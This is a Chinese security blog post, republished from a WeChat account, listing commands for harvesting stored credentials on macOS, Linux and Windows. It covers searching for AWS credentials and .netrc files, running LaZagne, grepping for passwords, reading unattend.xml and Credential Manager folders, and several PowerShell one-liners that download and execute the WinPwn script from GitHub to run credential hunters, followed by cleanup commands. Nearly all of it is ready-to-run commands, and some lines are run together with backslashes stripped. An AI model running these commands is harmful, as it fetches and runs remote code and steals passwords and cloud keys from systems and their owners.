获取系统文件中的凭据

admin 2024年9月12日00:21:41评论23 views字数 4178阅读13分55秒阅读模式

朋友们现在只对常读和星标的公众号才展示大图推送,建议大家把SecretTeam安全团队设为星标”,否则可能就看不到了啦!

获取系统文件中的凭据

免责声明

"本文档所提供的信息旨在帮助网络安全专业人员更好地理解并维护他们负责的网站和服务器等系统。我们鼓励在获得适当授权的情况下使用这些信息。请注意,任何未经授权的使用或由此产生的直接或间接后果和损失,均由使用者自行承担。我们提供的资源和工具仅供学习和研究之用,我们不鼓励也不支持任何非法活动。"

"我们创建这个社区是为了促进技术交流和知识分享。我们希望每位成员都能在遵守法律法规的前提下参与讨论和学习。如果使用本文档中的信息导致任何直接或间接的后果和损失,我们提醒您,这将由您个人承担。我们不承担由此产生的任何责任。如果有任何内容侵犯了您的权益,请随时告知我们,我们将立即采取行动并表示诚挚的歉意。我们感谢您的理解和支持。"

查找 AWS 凭证,从文件中查找本地 AWS 凭证,默认使用 / 作为查找路径。

    支持的平台:macos,linux

find #{file_path} -name "credentials" -type f -path "*/.aws/*" 2>/dev/null

使用 LaZagne 提取浏览器和系统凭据。

    支持的平台:macos

#https://github.com/AlessandroZ/LaZagneLaZagne 项目是一个开源应用程序,用于检索存储在本地计算机上的大量密码。每个软件都使用不同的技术(明文、API、自定义算法、数据库等)存储其密码。开发此工具的目的是为最常用的软件查找这些密码。python2 laZagne.py all

使用 grep 提取密码

    支持的平台:macos,linux

grep -ri password #{file_path}exit 0

使用 findstr 提取密码,从文件中提取凭据。执行时,将显示包含单词 “password” 的文件内容。

     支持的平台:Windows

findstr /si pass *.xml *.doc *.txt *.xlsls -R | select-string -ErrorAction SilentlyContinue -Pattern password

尝试访问存储安装日志的 Panther 目录中的 unattend.xml(通常存储凭据的位置)。如果这些文件存在,则将显示其内容。它们用于在无人值守的 Windows 安装过程中存储凭据。

    支持的平台:Windows

type C:WindowsPantherunattend.xmltype C:WindowsPantherUnattendunattend.xml

查找和访问 Github 凭据,尝试查找 .netrc 文件(以明文形式存储 github 凭据),如果找到,则转储其内容。

    支持的平台:macos,linux

for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done

使用 WinPwn 的 SensitiveFiles 功能在本地系统上搜索敏感文件

    支持的平台:Windows

https://github.com/S3cur3Th1sSh1t/WinPwn$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')sensitivefiles -noninteractive -consoleoutput

使用 WinPwn 的 Snaffler 功能检查域网络共享的明文密码

    支持的平台:Windows

https://github.com/S3cur3Th1sSh1t/WinPwn$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')Snaffler -noninteractive -consoleoutput

通过 winpwn powershellsensitive 函数检查 Powershell 事件日志中是否有凭据或其他敏感信息

    支持的平台:Windows

https://github.com/S3cur3Th1sSh1t/WinPwn$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')powershellsensitive -consoleoutput -noninteractive

通过 WinPwn 使用 passhunt 在此系统上搜索密码

    支持的平台:Windows

https://github.com/S3cur3Th1sSh1t/WinPwn$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')passhunt -local $true -noninteractive#清理命令rm -force .passhunt.exe -ErrorAction Ignorerm -force .phunter* -ErrorAction Ignorerm -force -recurse .DomainRecon -ErrorAction Ignorerm -force -recurse .Exploitation -ErrorAction Ignorerm -force -recurse .LocalPrivEsc -ErrorAction Ignorerm -force -recurse .LocalRecon -ErrorAction Ignorerm -force -recurse .Vulnerabilities -ErrorAction Ignore

通过 WinPwn 在此系统上启动 SessionGopher

    支持的平台:Windows

https://github.com/S3cur3Th1sSh1t/WinPwn$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')sessionGopher -noninteractive -consoleoutput

搜寻本地凭证 - 通过 WinPwn 函数的 AWS、Microsoft Azure 和 Google Compute 凭证技术

    支持的平台:Windows

https://github.com/S3cur3Th1sSh1t/WinPwn$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')SharpCloud -consoleoutput -noninteractive

通过 PowerShell,列出 Windows 凭据管理器中存储凭据的文件

    支持的平台:Windows

$usernameinfo = (Get-ChildItem Env:USERNAME).ValueGet-ChildItem -Hidden C:Users$usernameinfoAppDataRoamingMicrosoftCredentialsGet-ChildItem -Hidden C:Users$usernameinfoAppDataLocalMicrosoftCredentials

通过命令提示符,列出 Windows 凭据管理器中存储凭据的文件

    支持的平台:Windows

dir /a:h C:Users%USERNAME%AppDataLocalMicrosoftCredentialsdir /a:h C:Users%USERNAME%AppDataRoamingMicrosoftCredentials

原文始发于微信公众号(SecretTeam安全团队):获取系统文件中的凭据

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年9月12日00:21:41
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   获取系统文件中的凭据https://cn-sec.com/archives/3152796.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息